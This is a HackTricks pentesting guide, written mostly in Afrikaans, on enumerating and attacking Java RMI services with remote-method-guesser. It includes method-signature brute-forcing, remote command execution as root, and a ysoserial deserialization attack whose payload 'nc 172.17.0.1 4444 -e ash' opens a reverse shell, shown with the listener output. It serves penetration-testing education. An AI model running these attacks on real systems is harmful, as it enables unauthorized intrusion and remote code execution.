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# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
{{#include ../banners/hacktricks-training.md}}
## Basiese Inligting
_Java Remote Method Invocation_, of _Java RMI_, is 'n objek-georiënteerde _RPC_ meganisme wat 'n objek wat in een _Java virtuele masjien_ geleë is, in staat stel om metodes op 'n objek wat in 'n ander _Java virtuele masjien_ geleë is, aan te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objek-georiënteerde paradigma. 'n Kort inleiding tot _Java RMI_ vanuit 'n offensiewe perspektief kan gevind word in [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
**Standaard poort:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Gewoonlik is slegs die standaard _Java RMI_ komponente (die _RMI Registry_ en die _Activation System_) aan algemene poorte gebind. Die _remote objects_ wat die werklike _RMI_ toepassing implementeer, is gewoonlik aan ewekansige poorte gebind soos in die bogenoemde uitvoer getoon.
_nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy 'n onbekende ssl diens op 'n algemene _RMI_ poort teëkom, moet jy verder ondersoek instel.
## RMI Komponente
Om dit eenvoudig te stel, laat _Java RMI_ 'n ontwikkelaar toe om 'n _Java object_ op die netwerk beskikbaar te stel. Dit open 'n _TCP_ poort waar kliënte kan aansluit en metodes op die ooreenstemmende objek kan aanroep. Alhoewel dit eenvoudig klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos:
1. Om 'n metode-aanroep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en ewekansige identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat _Java RMI_ verskeie objekte toelaat om op dieselfde _TCP_ poort te luister).
2. Afgeleë kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet op spoor hou watter van hierdie hulpbronne steeds in gebruik is en watter daarvan as rommel versamel kan word.
Die eerste uitdaging word opgelos deur die _RMI registry_, wat basies 'n naamdiens vir _Java RMI_ is. Die _RMI registry_ self is ook 'n _RMI service_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend aan alle _RMI_ kliënte. Dit laat _RMI_ kliënte toe om die _RMI_ registry te gebruik net deur die ooreenstemmende _TCP_ poort te ken.
Wanneer ontwikkelaars hul _Java objects_ beskikbaar wil stel binne die netwerk, bind hulle dit gewoonlik aan 'n _RMI registry_. Die _registry_ stoor alle inligting wat benodig word om met die objek te verbind (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID` waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die _bound name_). Kliënte wat die _RMI service_ wil gebruik, vra die _RMI registry_ vir die ooreenstemmende _bound name_ en die registry keer alle vereiste inligting terug om te verbind. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
Die tweede van die bogenoemde uitdagings word opgelos deur die _Distributed Garbage Collector_ (_DGC_). Dit is 'n ander _RMI service_ met 'n bekende `ObjID` waarde en dit is basies op elke _RMI endpoint_ beskikbaar. Wanneer 'n _RMI client_ begin om 'n _RMI service_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _remote object_ in gebruik is. Die _DGC_ kan dan die verwysing telling volg en is in staat om ongebruikte objek te skoon te maak.
Saam met die verouderde _Activation System_, is dit die drie standaardkomponente van _Java RMI_:
1. Die _RMI Registry_ (`ObjID = 0`)
2. Die _Activation System_ (`ObjID = 1`)
3. Die _Distributed Garbage Collector_ (`ObjID = 2`)
Die standaardkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en verskeie kwesbaarhede bestaan in verouderde _Java_ weergawes. Vanuit 'n aanvaller se perspektief is hierdie standaardkomponente interessant, omdat hulle bekende klasse / interfaces geïmplementeer het en dit is maklik om met hulle te kommunikeer. Hierdie situasie is anders vir pasgemaakte _RMI services_. Om 'n metode op 'n _remote object_ aan te roep, moet jy die ooreenstemmende metode-handtekening vooraf ken. Sonder om 'n bestaande metode-handtekening te ken, is daar geen manier om met 'n _RMI service_ te kommunikeer nie.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is 'n _Java RMI_ kwesbaarheid skandeerder wat in staat is om algemene _RMI kwesbaarhede_ outomaties te identifiseer. Wanneer jy 'n _RMI_ endpoint identifiseer, moet jy dit probeer:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Die uitvoer van die enumerasie aksie word in meer detail verduidelik in die [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.
Die `ObjID` waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die uptime van die diens te bepaal. Dit mag toelaat om ander kwesbaarhede te identifiseer:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing Remote Methods
Selfs wanneer daar geen kwesbaarhede tydens enumerasie geïdentifiseer is nie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte daarvan dat _RMI_ kommunikasie met _RMI_ standaardkomponente beskerm word deur deserialisering filters, is sulke filters gewoonlik nie in plek wanneer daar met pasgemaakte _RMI_ dienste gepraat word nie. Om geldige metode-handtekeninge op _RMI_ dienste te ken, is dus waardevol.
Ongelukkig ondersteun _Java RMI_ nie die enumerasie van metodes op _remote objects_ nie. Dit gesê, dit is moontlik om metode-handtekeninge te bruteforce met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Geïdentifiseerde metodes kan soos volg genoem word:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Of jy kan deserialisering aanvalle soos volg uitvoer:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Meer inligting kan in hierdie artikels gevind word:
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
Behalwe om te raai, moet jy ook in soekenjins of _GitHub_ kyk vir die interface of selfs die implementering van 'n teëgekomde _RMI_ diens. Die _bound name_ en die naam van die geïmplementeerde klas of interface kan hier nuttig wees.
## Bekende Interfaces
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) merk klasse of interfaces as `known` as hulle in die hulpmiddel se interne databasis van bekende _RMI services_ gelys is. In hierdie gevalle kan jy die `known` aksie gebruik om meer inligting oor die ooreenstemmende _RMI service_ te verkry:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
- `port:1099 java`
## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Outomatiese Opdragte
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
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